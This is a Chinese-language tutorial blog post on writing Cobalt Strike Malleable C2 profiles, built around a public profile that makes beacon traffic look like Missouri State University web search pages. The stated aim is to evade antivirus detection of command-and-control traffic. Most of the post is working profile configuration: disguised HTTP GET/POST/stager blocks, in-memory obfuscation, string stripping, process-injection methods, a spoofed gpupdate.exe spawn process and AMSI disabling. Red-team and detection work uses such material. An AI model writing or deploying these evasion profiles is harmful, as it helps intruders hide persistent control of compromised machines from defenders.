关于Malleable C2的学习总结

​ 通过之前我们对于CobaltStrike的Beacon通信流程分析,我们可以看到CobaltStrike在使用心跳包发送active和match,执行命令的返回结果通过请求submit.php来进行传输,而且我们通过这两个包发送和接收的也是一些加密的内容,因此可能有些杀软可能会对这样的请求进行拦截,如果这样,那么无论我们之前对shellcode怎么免杀,只要和服务端产生一些通信,那么都有可能被拦截,因此我们需要修改掉这些流量特征,好在CobaltStrike已经给我们提供了这样的功能,那就是malleable C2。

关于malleable C2基本介绍

什么是malleable C2?

​ Beacon的HTTP的indicators由Malleable-C2-profile文件控制,关于Malleable-C2-profile,它是一个简单的配置文件,用来指定如何转换数据并将其存储在transaction中,转换和存储数据的相同配置文件也从transaction中提取和恢复。 也就是说当Beacon使用HTTP进行通信时,可以通过Malleable-C2来控制如何接收和发送指令。

为什么要使用malleable C2?

​ 因为我们使用默认beacon通信方式可以看到存在一些特征,所以我们需要通过需改Malleable-C2来更改流量的特征,让beacon和CoblatStrike服务端的通信流量尽量来模拟正常的访问通信,要实现这个功能,可以通过编写malleable-C2-profile来实现。

malleable C2-profile的编写分析

如何使用malleable C2-profile文件?

​ 我以网上公开的profile为例进行分析,github地址,下载后normal\msu_edu.profile来进行分析

​ 当我们启动团队服务器时,可以使用如下命令来加载Malleable-C2-profile文件

1
./teamserver [external IP] [password] [/path/to/my.profile]

​ 将normal\msu_edu.profile上传到服务器,使用上面的命令可以加载,但是在加载之前首先要测试这个profile文件的内容格式是否有问题,可以通过c2lint命令来检测

1
./c2lint xxxx.profile 

image-20200902170520452

​ 测试过程中+代表测试通过,%代表提醒的内容,!代表不通过的选项

image-20200902170554118

​ 检查通过以后,我们通过下面的命令启动teamserver并且加载 malleable-C2-profile文件

1
sudo ./teamserver  ip password msu_edu.profile 

image-20200902170742151

如何编写一个Malleable-C2-profile文件?

​ 打开后文件的开头如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
###Global Options###
set sample_name "msu_edu.profile"; //通过set给变量sample_name进行赋值

set sleeptime "37500"; //设置睡眠时间为37秒左右
set jitter "33"; //设置抖动率,为了防止请求时间过于规律,在这里设置抖动率为33%
set useragent "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/587.38 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"; //设置user-agent

#set host_stage "false"; //如果不需要分阶段传输payload,就可以在这里将host_stage的值设置为false

###DNS options###
set dns_idle "8.8.8.8";
set maxdns "245"; //通过dns传输数据时主机名的最大长度
set dns_sleep "0"; //在每个dns请求之间设置延时,这里没有延时
set dns_stager_prepend ""; //在dns payload之前插入内容
set dns_stager_subhost ""; //设置dns txt record stager的子域名
set dns_max_txt "252"; //设置dns txt返回最大长度
set dns_ttl "1"; //设置DNS响应的ttl的值

###SMB options###
set pipename "ntsvcs"; //在使用Smb beacon来进行通信时,设置命名管道的名字
set pipename_stager "scerpc"; //设置stager使用的管道名

###TCP options###
set tcp_port "8000"; //设置tcp_beacon监听的端口,这里设置的是8000

​ 通过上面的配置,我们实现了以37秒为基准,百分之33左右的抖动率的功能,并且使用smb beacon时,默认的命名管道名字为ntsvcs

image-20200902171550504

​ 当使用tcp beacon时,默认的端口是8000

image-20200902171657470

​ 并且默认的user-agent将使用我们上面配置的.

image-20200902172224238

​ 我们继续分析,看看后面的配置文件,下面的配置文件主要用来配置证书和response header

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
###SSL Options### //这个主要是给https beacon使用的配置
#https-certificate {
#set keystore "your_store_file.store"; //java kerstore文件
#set password "your_store_pass"; //keystore文件的打开密码
#}

#https-certificate { //自签名的https证书配置
# set C "US"; //国家
# set CN "whatever.com"; //域名
# set L "California"; //地区
# set O "whatever LLC."; //组织名
# set OU "local.org"; //组织单位名称
# set ST "CA"; //州或者省
# set validity "365"; //时效
#}

#code-signer { //代码签名
#set keystore "your_keystore.jks"; // java kerstore文件
#set password "your_password"; //keystore文件的打开密码
#set alias "server"; //
#}

###HTTP-Config Block### //配置reponse header块
http-config {
#set headers "Server, Content-Type";
#header "Content-Type" "text/html;charset=UTF-8";
#header "Server" "nginx";

set trust_x_forwarded_for "false"; //如果teamserver使用了http重定向器,就需要选择true
}

​ 下面我们来配置GET请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
###HTTP-GET Block###
http-get {

set uri "/siteindex/a/ /siteindex/b/ /siteindex/c/"; //配置请求的Uri路径

#set verb "POST"; //用什么方法传输数据,不仅可以配置为get也可以配置为post

client { //client端的配置

header "Host" "search.missouristate.edu";
header "Accept" "*/*";
header "Accept-Language" "en";
header "Connection" "close";


metadata { //metadata是一段加密的数据,但是没有编码,所以他不能在请求头和URI中发送。需要使用base64、base64url或者netbios编码之后才能在请求头和URI中发送。
#base64
base64url; // 使用URL-safe Base64 进行编码
#mask;
#netbios;
#netbiosu;
#prepend "TEST123"; //开头插入字符串
#append ".php"; //末尾追加字符串

parameter "filter"; //把数据放到名为filter的uri参数中
#header "Cookie"; //把数据放到名为Cookie的http头中
#uri-append; //把数据直接追加到URI上

#print;
}

#parameter "test1" "test2";
}

server { //server端的请求配置
header "Cache-Control" "private";
header "Content-Type" "text/html; charset=utf-8";
header "Vary" "User-Agent";
header "Server" "Microsoft-IIS/8.5";
header "BackendServer" "Handle";
header "X-UA-Compatible" "IE=edge";
header "Connection" "close";
header "Set-Cookie" "WWW-SERVERID=handle; path=/";

output {

netbios;
#netbiosu;
#base64;
#base64url;
#mask;

prepend " <link href=\"/resource/styles\" media=\"all\" rel=\"stylesheet\" /> <script src=\"https://missouristate.info/scripts/2018/common.js?_q=";
prepend " <meta name=\"robots\" content=\"noindex\" /><link rel=\"Stylesheet\" media=\"all\" href=\"https://missouristate.info/styles/msuwds/main-sgf.css\" />\n";
prepend " <meta name=\"vireport\" content=\"width=device-width, initial-scale=1.0\" />\n";
prepend " <title>A - Site Index - Missouri State University</title>\n";
prepend " <meta charset=\"UTF-8\" />\n";
prepend "<head>";
prepend "<html lang=\"en\" itemscope itemtype=\"https://schema.org/SearchResultsPage\">\n";
prepend "<!DOCTYPE html>\n";

append "\"></script>\n";
append "<h2>About search</h2>\n";
append "<ul>\n";
append "<li><a href=\"https://www.missouristate.edu/web/search/aboutwebsearch.htm\">About web search</a></li>]n";
append "<li><a href=\"https://www.missouristate.edu/web/search/aboutpeoplesearch.htm\">About people search</a></li>\n";
append "<li><a href=\"https://www.missouristate.edu/web/search/abouteventsearch.htm\">About event search</a></li>\n";
append "<li><a href=\"https://www.missouristate.edu/web/search/aboutmapsearch.htm\">About map search</a></li>";
append "</ul>\n";
append "</div>";

print; //以print为结束
}
}
}

​ 通过上面的HTTP-GET块的配置,我们配置了心跳包的请求URI为/siteindex/a/,并且设置了通过filter字段来传输信息,并且返回包的内容也和我们在server部分的配置相同。这里有一个点需要注意,就是在使用prepend在返回包中添加内容时,在多个prepend字段配置中,prepend字段添加的越早,显示时越在后面

1
2
3
4
5
6
7
8
       prepend "    <link href=\"/resource/styles\" media=\"all\" rel=\"stylesheet\" />    <script src=\"https://missouristate.info/scripts/2018/common.js?_q=";
prepend " <meta name=\"robots\" content=\"noindex\" /><link rel=\"Stylesheet\" media=\"all\" href=\"https://missouristate.info/styles/msuwds/main-sgf.css\" />\n";
prepend " <meta name=\"vireport\" content=\"width=device-width, initial-scale=1.0\" />\n";
prepend " <title>A - Site Index - Missouri State University</title>\n";
prepend " <meta charset=\"UTF-8\" />\n";
prepend "<head>";
prepend "<html lang=\"en\" itemscope itemtype=\"https://schema.org/SearchResultsPage\">\n";
prepend "<!DOCTYPE html>\n";

image-20200902172951017

​ 我们再看一下当我们向client发送指令时的数据包,我们可以看到server端传递的请求在参数q中

image-20200902180603819

​ 当客户端收到指令时,一般通过post来向服务端返回命令执行的结果,这部分可以通过http-post部分来配置,配置过程如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
###HTTP-Post Block###
http-post {

set uri "/getsearchresults"; //配置post请求的uri
#set verb "GET";
set verb "POST"; //配置请求的形式

client {

# header "Host" "search.missouristate.edu"; //配置请求头的信息
header "Connection" "close";
header "Accept" "*/*";
header "Accept-Language" "en-US";

output {
base64url; // URL-safe Base64 编码形式输出
parameter "site_indexFilter"; //将数据放到site_indexFilter参数中进行传输
}

id { //通过id标识应该输出到哪个beacon
base64url;
parameter "peopleFilter"; //将数据放到peopleFilter参数中进行传输

}

parameter "eventsFilter" "campus:sgf"; //配置一些其他的请求参数和参数值
# parameter "mapFilter" "campus";
parameter "query" "my%20missouri%20state";
parameter "resultCounts" "5,3,3,3&";

}

server {
header "Cache-Control" "private";
header "Content-Type" "application/json; charset=utf-8";
header "Vary" "User-Agent,AcceptEncoding";
header "Server" "Microsoft-IIS/8.5";
header "BackendServer" "Handle";
header "X-UA-Compatible" "IE=edge";
header "Connection" "close";

output {
netbios; //通过netbios传输信息

prepend "[\"{\\\"results\\\":[\\\"{\\\\\\\"ID\\\\\\\":\\\\\\\"Missouri State University Foundation\\\\\\\",\\\\\\\"Name\\\\\\\":\\\\\\\"Missouri State University Foundation\\\\\\\",\\\\\\\"Url\\\\\\\":\\\\\\\"https://www.missouristatefoundation.org/\\\\\\\",\\\\\\\"Keywords\\\\\\\":";

append "\"\\\\\\\"development; endowment; foundation; Foundation, Missouri State; fundraising; missouri state foundation; missouri state university foundation\\\\\\\",\\\\\\\"UnitType\\\\\\\":\\\\\\\"Department\\\\\\\"}\\\",\\\"{\\\\\\\"ID\\\\\\\":\\\\\\\"Missouri State Outreach\\\\\\\",\\\\\\\"Name\\\\\\\":\\\\\\\"Missouri State Outreach\\\\\\\",\\\\\\\"Url\\\\\\\":\\\\\\\"https://outreach.missouristate.edu/\\\\\\\",\\\\\\\"Keywords\\\\\\\":\\\\\\\"distance learning; dual credit; evening; extended campus; Extended Campus (now Missouri State Outreach); i courses; i-courses; icourses; interactive video; itv; non credit; non-credit; noncredit; off campus; off-campus; offcampus; online; outreach; Outreach, Missouri State\\\\\\\"}\"]";

print;
}
}
}

​ 通过上面对于http-post的配置,我们可以看到通过post的方式请求getsearchresults这个uri,并且在请求中加入了site_indexFilter字段,这个字段用来传输命令执行的结果。通过peopleFilter这个字段来返回beacon client对应的id。并且加上了query和resultCounts这两个参数,不过这两个参数的内容都是写死的。最后在server部分我们配置了返回的内容。我们使用wireshark来看下请求的内容与我们的配置是否一致

image-20200902180954689

​ 下面我们配置http-stager的信息,我们可以在下面的代码块中定义自己下载stage的行为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
###HTTP-Stager Block###
http-stager {

set uri_x86 "/Events"; //当下在x86的stage时,请求的uri
set uri_x64 "/events"; //当下在x64的stage时,请求的uri

client {
header "Host" "search.missouristate.com";
header "Accept" "*/*";
header "Accept-Language" "en";
header "Connection" "close";

#parameter "test1" "test2";
}

server { //配置server返回stage的格式
header "Cache-Control" "private";
header "Content-Type" "private";
header "Vary" "User-Agent";
header "Server" "Microsoft-IIS/8.5";
header "BackendServer" "Handle";
header "X-UA-Compatible" "IE=edge";
header "Connection" "close";
header "Set-Cookie" "WWW-SERVERID=handle; path=/";

output { //对输出的内容进行配置,这里并没有加上其他的处理

#prepend "content=";

#append "</script>\n";
print;
}

}
}

​ 通过上面的HTTP-Stager的配置后,当stager去请求下载stage时,请求/Events这个uri,并且host的内容都和我们设置的在HTTP-Stager的client中配置的一致。再看看返回包中的内容,请求头中的内容也和我们配置的server部分一致。

image-20200902172033813

​ 再看看可扩展的pe和躲避杀软的模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
###Malleable PE/Stage Block###
stage {
set checksum "0"; //PE头里checksum的值
set compile_time "23 Nov 2018 02:25:37"; //beacon pe头中显示的编译的时间
set entry_point "170000"; //beacon pe头中设置的入口点
#set image_size_x86 "6586368"; //x86 PE头里写的镜像大小
#set image_size_x64 "6586368"; //x64 PE头里写的镜像大小
#set name "WWanMM.dll"; // beacon dll 导出的名字
set userwx "false"; //反射加载时是否要把内存设置为可读可写可执行
set cleanup "true"; //如果选择是则尝试释放反射加载的dll的内存
set sleep_mask "true"; //是否在sleep前在内存中混淆beacon
set stomppe "true"; //
set obfuscate "true"; //是否混淆反射调用dll的导入表,覆盖无用的header内容,请求反射加载器copy beacon到新的内存没有dll头
set rich_header ""; //编译器插入的元信息

set sleep_mask "true"; //是否在sleep前在内存中混淆beacon

set module_x86 "wwanmm.dll"; //加载一个dll,然后用beacon去覆盖它分配的空间,而不是用VirtualAlloc去分配内存
set module_x64 "wwanmm.dll";

transform-x86 {
prepend "\x90\x90\x90"; // 在beacon 反射调用dll之前插入一些数据
strrep "ReflectiveLoader" "";
strrep "beacon.dll" ""; // 查找并替换字符串
}

transform-x64 {
prepend "\x90\x90\x90";
strrep "ReflectiveLoader" "";
strrep "beacon.x64.dll" "";
}

#string "something"; //添加字符串
#data "something";
#stringw "something"; //添加UTF-16字符串
}

​ 在看看进程注入的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
###Process Inject Block###
process-inject {

set allocator "NtMapViewOfSection"; //在远程进程中分配内存的方式,有两种方式VirtualAllocEx和NtMapViewOfSection,VirtualAlloc是Windows提供的API,通常用来分配大块的内存。例如如果想在进程A和进程B之间通过共享内存的方式实现通信,可以使用该函数(这也是较常用的情况)。利用NtMapViewOfSection在远程进程地址空间写入代码,并且用一种新的技术在远程进程中执行它,这种技术完全工作在用户模式下,并且不需要特殊的条件比如像管理员权限或者之类的要求
set min_alloc "16700"; //最小的分配内存的大小

set userwx "false"; ////是否使用rwx作为代码内存的默认权限,默认rx

set startrwx "false"; //是否使用rwx作为代码内存的默认权限,默认rx

transform-x86 {
prepend "\x90\x90\x90";
}
transform-x64 {
prepend "\x90\x90\x90";
}

execute {
CreateThread "ntdll!RtlUserThreadStart"; //进程可以在其他的进程中创建一个线程
CreateThread;
NtQueueApcThread; //通过NtQueueApcThread实现APC注入
CreateRemoteThread;
RtlCreateUserThread; //创建远程线程的一种技术
}
}

​ 我们再来看看post-ex块,这个模块用来控制后渗透的行为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
###Post-Ex Block###
post-ex {

set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe"; //派生后渗透功能的默认临时进程
set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe";

set obfuscate "true"; //对dll的内容进行加密,并且将post-ex功能建立到内存中,

set smartinject "true"; //提示beacon将关键的函数指针嵌入到相同架构的post-ex dll中

set amsi_disable "true"; //关闭amsi,AMSI(Antimalware Scan Interface), 即反恶意软件扫描接口。在Windows Server 2016和Win10上默认安装并启用。

}

总结

​ 通过上面的学习,大家应该了解了关于Malleable C2 Profile文件编写的基本的方法,可以根据自己的需要编写自己的Malleable C2 Profile文件,当然我们得知道编写profile文件的目的是为了尽量去模拟正常的网站访问流量。

参考文章

[RED_TEAM] Cobalt Strike 4.0+ Malleable C2 Profile Guideline

CobaltStrike4.0用户手册_中文翻译